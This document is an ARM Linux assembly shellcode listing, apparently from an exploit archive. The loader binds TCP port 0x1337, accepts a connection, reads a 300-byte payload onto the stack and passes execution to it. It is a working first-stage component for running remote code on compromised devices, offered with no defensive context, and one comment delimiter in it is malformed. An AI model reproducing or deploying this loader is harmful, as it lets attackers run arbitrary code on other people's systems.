linux/ARM - Loader Port 0x1337 Shellcode

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linux/ARM - Loader Port 0x1337 Shellcode
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/*
 * Title: arm-loader
 * Brief: Bind port 0x1337 on any local interface, listen for a connection
 *        receive a payload, and pass execution to it
 * Author: Daniel Godas-Lopez <gmail account dgodas>
 */
 
    /*
      soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     */
 
    mov %r0, $2     /* AF_INET */
    mov %r1, $1     /* SOCK_STREAM */
    mov %r2, $6     /* IPPRTOTO_TCP */
    push {%r0, %r1, %r2}
    mov %r0, $1     /* socket */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $12
 
    mov %r6, %r0        /* r6 = soc_des */
 
    /*
      bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
     */
 
.if 0 /* r0 == r6 already */
    mov %r0, %r6        /* soc_des */
.endif
 
    mov %r1, $0x37
    mov %r7, $0x13
    mov %r1, %r1, lsl $24
    add %r1, %r7, lsl $16
    add %r1, $2     /* port = 0x1337, family = 2 (AF_INET) */
    sub %r2, %r2, %r2   /* addr = 0.0.0.0 */
    push {%r1, %r2}
    mov %r1, %sp        /* pointer to sockaddr_in */
    mov %r2, $16        /* sizeof(struct sockaddr_in) */
     
    push {%r0, %r1, %r2}
    mov %r0, $2     /* bind */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $20
 
    /*
      listen(soc_des, 1);
     /*
 
    mov %r1, $1     /* backlog (see man 2 listen) */
    mov %r0, %r6        /* soc_des */
    push {%r0, %r1}
    mov %r0, $4     /* listen */
    mov %r1, %sp
    svc 0x00900066
    add %sp, $8
 
    /*
      soc_cli = accept(soc_des, 0, 0);
     */
 
    mov %r0, %r6        /* soc_des */
    sub %r1, %r1, %r1
    sub %r2, %r2, %r2
    push {%r0, %r1, %r2}
    mov %r0, $5     /* accept */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $12
 
    mov %r6, %r0        /* r6 = soc_cli */
 
    /*
      recv(soc_des, buff, len, flags);
     */
 
    sub %r4, %sp, $316  /* buffer on the stack + 16 bytes padding */
    sub %r5, %r5, %r5   /* byte count */
 
1:  mov %r0, %r6
    add %r1, %r4, %r5   /* dst pointer */
    mov %r2, $300       /* 300 bytes */
    mov %r3, $256       /* MSG_WAITALL */
    push {%r0, %r1, %r2, %r3}
 
    mov %r0, $10        /* recv */
    mov %r1, %sp
    svc 0x00900066
    add %sp, %sp, $16
    add %r5, %r0
    cmp %r5, $300
    bne 1b
 
    /*
      Jump into code
     */
 
    mov %pc, %r4



#  0day.today [2018-01-05]  #